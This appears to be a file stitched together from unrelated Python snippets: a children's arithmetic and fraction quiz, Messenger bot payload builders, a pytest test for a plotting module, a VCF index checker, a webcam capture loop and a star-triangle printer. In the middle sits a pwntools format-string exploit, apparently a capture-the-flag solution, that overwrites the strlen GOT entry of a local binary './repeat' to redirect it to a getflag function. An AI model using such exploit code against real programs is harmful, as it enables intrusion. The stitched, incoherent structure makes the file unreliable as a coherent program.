        for j in range(0, denominator):
            s = s + filled
        s = s + '  '

    for i in range(0, numerator):
        s = s + filled
    for i in range(0, denominator - numerator):
        s = s + unfilled

    return s

def fraction_identify():
    whole_number = random.choice(range(1, 5))
    denominator = random.choice(range(2, 10))
    numerator = random.choice(range(1, denominator))
    filled = u'\u25AE'
    unfilled = u'\u25AF'

    problem = fraction_string(whole_number, numerator, denominator)

    get_and_check_solution(problem, '%s %s/%s' % (whole_number, numerator, denominator), answer_type=str)

def fraction_conversion():
    whole_number = random.choice(range(1, 5))
    denominator = random.choice(range(2, 10))
    numerator = random.choice(range(1, denominator))
    improper_numerator = (whole_number * denominator) + numerator
    to_improper = random.choice([0, 1])

    print(fraction_string(whole_number, numerator, denominator))

    if to_improper == 1:
        get_and_check_solution('%d %d/%d = ?' % (whole_number, numerator, denominator), '%s/%s' % (improper_numerator, denominator), answer_type=str)
    else:
        get_and_check_solution('%d/%d = ?' % (improper_numerator, denominator), '%s %s/%s' % (whole_number, numerator, denominator), answer_type=str)

def get_and_check_solution(problem, answer, answer_type=int):
    attempt = -1
    while attempt != answer:
        attempt = input(random.choice(bgcolors) + problem + Style.RESET_ALL + '\n')
        try:
            attempt = answer_type(attempt)
        except:
            attempt = -1

        if attempt != answer:
            print('')

def main():
    options = get_options()
    i = 0
    while i < int(options['count']):
        op = random.choice(options['operations'])

        if op == 'add':
            addition(options['addition_range'])
        elif op == 'sub':
            subtraction(options['addition_range'])
        elif op == 'mul':
            multiplication(options['operands'], range(1, 11))
        elif op == 'bigmul':
            big_multiplication(range(2,options['bigmulmaxop1']), range(2,options['bigmulmaxop2']))
        elif op == 'zeroesmul':
            zeroes_multiplication(options['operands'])
        elif op == 'div':
            division(options['operands'])
        elif op == 'devrem':
            division_remainder(options['operands'])
        elif op == 'fracident':
            fraction_identify()
        elif op == 'fracconv':
            fraction_conversion()
        else:
            continue

        print(emoji.emojize(random.choice(emojis), use_aliases=True) +
            ' ' + str(int(options['count']) - i - 1) + ' left\n')
        i = i + 1

    print('Great job ' + options['name'] + '!!!')

if __name__ == "__main__":
    main()


def get_text_message(message, sender_id):
    request_body = {
        'recipient': {
            'id': sender_id
        },
        'message': {"text": message}
    }

    return request_body

def get_sender_action(data):
    sender_id = data['entry'][0]['messaging'][0]['sender']['id']
    request_body_on = {
        "recipient": {
            "id": sender_id
        },
        "sender_action": "typing_on"
    }

    request_body_off = {
        "recipient": {
            "id": sender_id
        },
        "sender_action": "typing_off"
    }

    return request_body_on, request_body_off

def get_quick_replies(sender_id, message_text):

    request_body = {
        'recipient': {
            'id': sender_id
        },
        "messaging_type": "RESPONSE",
        "message": {
            # "is_echo": False,
            # "text": "I look forward to the future with hope and enthusiasm.",
            "text": message_text,
            "quick_replies": [
                {
                    "content_type": "text",
                    "title": "Yes",
                    "payload": "<POSTBACK_PAYLOAD>",

                }, {
                    "content_type": "text",
                    "title": "No",
                    "payload": "<POSTBACK_PAYLOAD>",

                }
            ]
        }

    }

    return request_body

def get_buttons(data):
    sender_id = data['entry'][0]['messaging'][0]['sender']['id']
    request_body = {
        'recipient': {
            'id': sender_id
        },
        # 'message': {"text": "hello, shohan I am fixed!"}
        "message": {
            "attachment": {
                "type": "template",
                "payload": {
                    "template_type": "button",
                    "text": "বন্ধু কোনটা দেখতে চাও?",
                    "buttons": [
                        {
                            "type": "web_url",
                            "url": "https://www.messenger.com",
                            "title": "মাইন্ড ফ্লেয়ার"
                        },
                        {
                            "type": "web_url",
                            "url": "https://www.youtube.com/",
                            "title": "ইউটিউব দেখতে মন চায়"
                        }
                    ]
                }
            }
        }

    }

    return request_body


import argparse
import sys
from io import StringIO
from unittest import mock

import matplotlib
import matplotlib.pyplot as plt
import pytest

from agenet.plot import main, plot

def test_plot(monkeypatch):
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--num_nodes_const",
        type=int,
        default=2,
        help="Constant value for the number of nodes.",
    )
    parser.add_argument(
        "--active_prob_const",
        type=float,
        default=0.5,
        help="Constant value for the active probability.",
    )
    parser.add_argument(
        "--n_const",
        type=int,
        default=150,
        help="Constant value for the block length.",
    )
    parser.add_argument(
        "--k_const",
        type=int,
        default=100,
        help="Constant value for the update size.",
    )
    parser.add_argument(
        "--P_const",
        type=float,
        default=2 * (10**-3),
        help="Constant value for the power.",
    )
    parser.add_argument(
        "--numevnts",
        type=int,
        default=1000,
        help="The number of events.",
    )
    parser.add_argument(
        "--numruns",
        type=int,
        default=2,
        help="The number of runs.",
    )
    parser.add_argument(
        "--num_nodes_vals",
        nargs="+",
        type=int,
        default=[1, 2, 3, 4, 5],
        help="Values for the number of nodes.",
    )
    parser.add_argument(
        "--active_prob_vals",
        nargs="+",
        type=float,
        default=[0.1, 0.15, 0.2, 0.25],
        help="Values for the active probability.",
    )
    parser.add_argument(
        "--n_vals",
        nargs="+",
        type=int,
        default=[150, 160, 170, 180, 190, 200, 210, 220, 230, 240, 250],
        help="Values for the block length.",
    )
    parser.add_argument(
        "--k_vals",
        nargs="+",
        type=int,
        default=[50, 60, 70, 80, 90, 95, 100],
        help="Values for the update size.",
    )
    parser.add_argument(
        "--P_vals",
        nargs="+",
        type=float,
        default=[
            2 * (10**-3),
            3 * (10**-3),
            4 * (10**-3),
            5 * (10**-3),
            10 * (10**-3),
        ],
        help="Values for the power.",
    )
    # Add other necessary arguments to the parser

    # Mock the command-line arguments
    monkeypatch.setattr(
        "sys.argv",
        [
            "test_script.py",
            "--num_nodes_const",
            "2",
            "--active_prob_const",
            "0.5",
            "--n_const",
            "150",
            "--k_const",
            "100",
            "--P_const",
            "0.002",
            "--numevnts",
            "1000",
            "--numruns",
            "2",
            "--num_nodes_vals",
            "1",
            "2",
            "3",
            "4",
            "5",
            "--active_prob_vals",
            "0.1",
            "0.15",
            "0.2",
            "0.25",
            "--n_vals",
            "150",
            "160",
            "170",
            "180",
            "190",
            "200",
            "210",
            "220",
            "230",
            "240",
            "250",
            "--k_vals",
            "50",
            "60",
            "70",
            "80",
            "90",
            "95",
            "100",
            "--P_vals",
            "0.002",
            "0.003",
            "0.004",
            "0.005",
            "0.01",
        ],
    )

    args = parser.parse_args([])

    # Redirect stdout to a StringIO object
    output = StringIO()
    monkeypatch.setattr("sys.stdout", output)

    # Mock the plt.show() function to avoid showing the plot
    with mock.patch.object(plt, "show"):
        plot(args)

    # Get the output
    out = output.getvalue().strip()

matplotlib.use("Agg")  # Use Agg backend to prevent plots from being displayed

def test_main():
    sys.argv = [
        "your_script_name.py",
        "--num_nodes_const",
        "2",
        "--active_prob_const",
        "0.5",
        "--n_const",
        "150",
        "--k_const",
        "100",
        "--P_const",
        "0.002",
        "--numevnts",
        "1000",
        "--numruns",
        "1",
        "--num_nodes_vals",
        "1",
        "2",
        "--active_prob_vals",
        "0.1",
        "0.2",
        "--n_vals",
        "150",
        "160",
        "--k_vals",
        "50",
        "60",
        "--P_vals",
        "0.002",
        "0.003",
    ]
    with mock.patch.object(plt, "show"):
        main()


#!/usr/bin/env python2
from pwn import *
import struct
r_program = process('./repeat')
program = ELF('repeat')
libc = ELF('libc.so.6')
program_strlen = program.got['strlen']
program_getflag = program.symbols['getflag']
libc_strlen = libc.symbols['strlen']
shellcode = ''
shellcode += struct.pack('<i', program_strlen)
shellcode += struct.pack('<i', program_strlen + 2)
a = program_getflag % 0x10000
print(hex(program_getflag))
shellcode += '%' + str(a - 8) +'c%4$hn'
b = 0xffff - a + program_getflag // 0x10000 + 1
shellcode += '%' + str(b) +'c%5$hn'
r_program.recvrepeat(timeout=1)
r_program.sendline(shellcode)
print(repr(r_program.recvrepeat(timeout=1)))
#r_program.interactive()


import os,sys,glob

def main():
    tbi = glob.glob("*tbi")
    vcf = glob.glob("*gz")
    out = open("noTBI.list.txt","w")
    for i in vcf:
        if i+".tbi" not in tbi:
            out.write("%s\n"%i)
    out.close()

main()

#bcftools view -i 'MAF >= 0.01' JG.KR.NODAT.imputation.chr1.142535439_147000000.vcf.gz | bcftools query -f '%CHROM\t%POS\t%REF\t%ALT\n' | head


import cv2

cap = cv2.VideoCapture(0)
cap.set(cv2.CAP_PROP_FPS, 12)
cap.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'))
width = 28
height = 28
cap.set(cv2.CAP_PROP_FRAME_WIDTH, width)
cap.set(cv2.CAP_PROP_FRAME_HEIGHT, height)
fps = int(cap.get(5))
print("fps:", fps)
it =0
while(cap.isOpened()):
    it +=1
    ret,frame = cap.read()
    if not ret:
        break
    cv2.imwrite('./photos/photo'+str(it)+'.jpg',frame)
    cv2.imshow('frame', frame)
    k = cv2.waitKey(1)
    if k == 27:
        break


def Print_Triangle(limit):

    for i in range(1,limit):
        print('*'*(limit-i-1),end='')
        #the above print statement prints stars before the digits
        print(f'*{i}'*i,end='')
        #the above print statement prints the integers
        print('*'*(limit-i),end='')
        #the above print statement prints stars after the digits
        print()

def Input_validator():
    while True:
        num=input('Enter the limit up to 9 that has to be printed : \n')
        if num.isdigit() and int(num)<=9:
            Print_Triangle(int(num)+1)
            break
        print('Please enter a valid number  \n')

if __name__=='__main__':
    Input_validator()